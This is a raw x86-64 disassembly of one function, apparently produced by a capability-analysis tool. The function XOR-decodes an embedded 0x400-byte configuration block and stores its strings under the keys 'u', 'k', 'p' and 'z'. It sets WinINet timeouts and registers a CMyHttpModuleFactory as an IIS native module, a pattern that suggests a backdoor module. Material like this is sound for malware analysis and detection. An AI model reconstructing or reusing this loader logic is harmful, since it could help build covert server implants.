Function at 0x180002d60
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x180041028]
xor rax, rsp
mov qword [rbp - 8], rax
mov r15, r8
mov r14, rdx
mov ecx, 0x400
call fcn.18001187c
mov rsi, rax
mov rcx, rax
mov rdx, qword [0x180041008]
mov r9d, 8
nop
movups xmm0, xmmword [rdx]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rdx + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rdx, [rdx + 0x80]
sub r9, 1
jne 0x180002db0
lea rcx, str.KERNEL32.DLL
call fcn.180002290
mov rbx, rax
lea rdx, str.LoadLibraryA
mov rcx, rax
call fcn.1800020c0
mov rdi, rax
lea rdx, [0x18002f4b0]
mov rcx, rbx
call fcn.1800020c0
mov rbx, rax
lea rcx, str.Wininet.dll
call rdi
lea rdx, str.InternetSetOptionA
mov rcx, rax
call rbx
mov rdi, rax
xor ecx, ecx
movdqa xmm2, xmmword [0x18002f9a0]
nop word [rax + rax]
movdqu xmm0, xmmword [rcx + rsi]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx + rsi], xmm1
movdqu xmm0, xmmword [rcx + rsi + 0x10]
xorps xmm0, xmm2
movdqu xmmword [rcx + rsi + 0x10], xmm0
movdqu xmm0, xmmword [rcx + rsi + 0x20]
xorps xmm0, xmm2
movdqu xmmword [rcx + rsi + 0x20], xmm0
movdqu xmm0, xmmword [rcx + rsi + 0x30]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rcx + rsi + 0x30], xmm1
add rcx, 0x40
cmp rcx, 0x400
jl 0x180002e60
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], 1
mov qword [rbp - 0x30], 0xf
mov word [rbp - 0x48], 0x75
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rsi + r8], 0
jne 0x180002ee2
mov rdx, rsi
lea rcx, [rbp - 0x28]
call fcn.180002820
nop
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x58]
lea rcx, [0x1800421c0]
call fcn.180002960
mov rcx, qword [rax]
add rcx, 0x40
lea rdx, [rbp - 0x28]
call fcn.180002c00
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x180002f5a
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002f54
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003353
call fcn.18001178c
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x180002f95
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002f90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003359
call fcn.18001178c
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], 1
mov qword [rbp - 0x30], 0xf
mov word [rbp - 0x48], 0x6b
lea rdx, [rsi + 0x100]
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x180002fd0
lea rcx, [rbp - 0x28]
call fcn.180002820
nop
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x58]
lea rcx, [0x1800421c0]
call fcn.180002960
mov rcx, qword [rax]
add rcx, 0x40
lea rdx, [rbp - 0x28]
call fcn.180002c00
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x180003045
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000303f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000335f
call fcn.18001178c
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x180003080
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000307b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003365
call fcn.18001178c
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], 1
mov qword [rbp - 0x30], 0xf
mov word [rbp - 0x48], 0x70
lea rdx, [rsi + 0x200]
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
mov r8, rbx
inc r8
cmp byte [rdx + r8], 0
jne 0x1800030b3
lea rcx, [rbp - 0x28]
call fcn.180002820
nop
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x58]
lea rcx, [0x1800421c0]
call fcn.180002960
mov rcx, qword [rax]
add rcx, 0x40
lea rdx, [rbp - 0x28]
call fcn.180002c00
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x180003128
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003122
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000336b
call fcn.18001178c
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x180003163
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000315e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003371
call fcn.18001178c
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], 1
mov qword [rbp - 0x30], 0xf
mov word [rbp - 0x48], 0x7a
lea rdx, [rsi + 0x300]
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
inc rbx
cmp byte [rdx + rbx], 0
jne 0x180003193
mov r8, rbx
lea rcx, [rbp - 0x28]
call fcn.180002820
nop
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x58]
lea rcx, [0x1800421c0]
call fcn.180002960
mov rcx, qword [rax]
add rcx, 0x40
lea rdx, [rbp - 0x28]
call fcn.180002c00
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x18000320a
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003204
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180003377
call fcn.18001178c
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x180003245
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003240
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000334d
call fcn.18001178c
mov rcx, rsi
call fcn.18001178c
mov dword [rbp - 0x60], 0xc8
mov r9d, 4
lea r8, [rbp - 0x60]
lea edx, [r9 + 0x45]
xor ecx, ecx
call rdi
mov r9d, 4
lea r8, [rbp - 0x60]
lea edx, [r9 + 0x46]
xor ecx, ecx
call rdi
test r14, r14
je 0x18000331d
test r15, r15
je 0x18000331d
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 8]
mov qword [0x1800421b8], rax
mov qword [0x1800421b0], r15
mov ecx, 8
call fcn.180011750
mov rdi, rax
test rax, rax
je 0x180003316
lea rax, vtable.CMyHttpModuleFactory.0
mov qword [rdi], rax
mov r10, qword [r14]
xor r9d, r9d
mov r8d, 0x20000001
mov rdx, rdi
mov rcx, r14
call qword [r10 + 0x10]
mov ebx, eax
test eax, eax
js 0x180003307
mov rax, qword [r14]
lea r8, str.FIRST
mov edx, 1
mov rcx, r14
call qword [rax + 0x20]
mov rax, qword [r14]
lea r8, str.LAST
mov edx, 0x20000000
mov rcx, r14
call qword [rax + 0x20]
mov ebx, eax
jmp 0x180003322
mov edx, 8
mov rcx, rdi
call fcn.18001178c
jmp 0x180003322
mov ebx, 0x80070008
jmp 0x180003322
mov ebx, 0x80070057
mov eax, ebx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.180011830
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.180018384
nop
call fcn.180018384
nop
call fcn.180018384
nop
call fcn.180018384
nop
call fcn.180018384
nop
call fcn.180018384
nop
call fcn.180018384
nop
call fcn.180018384
int3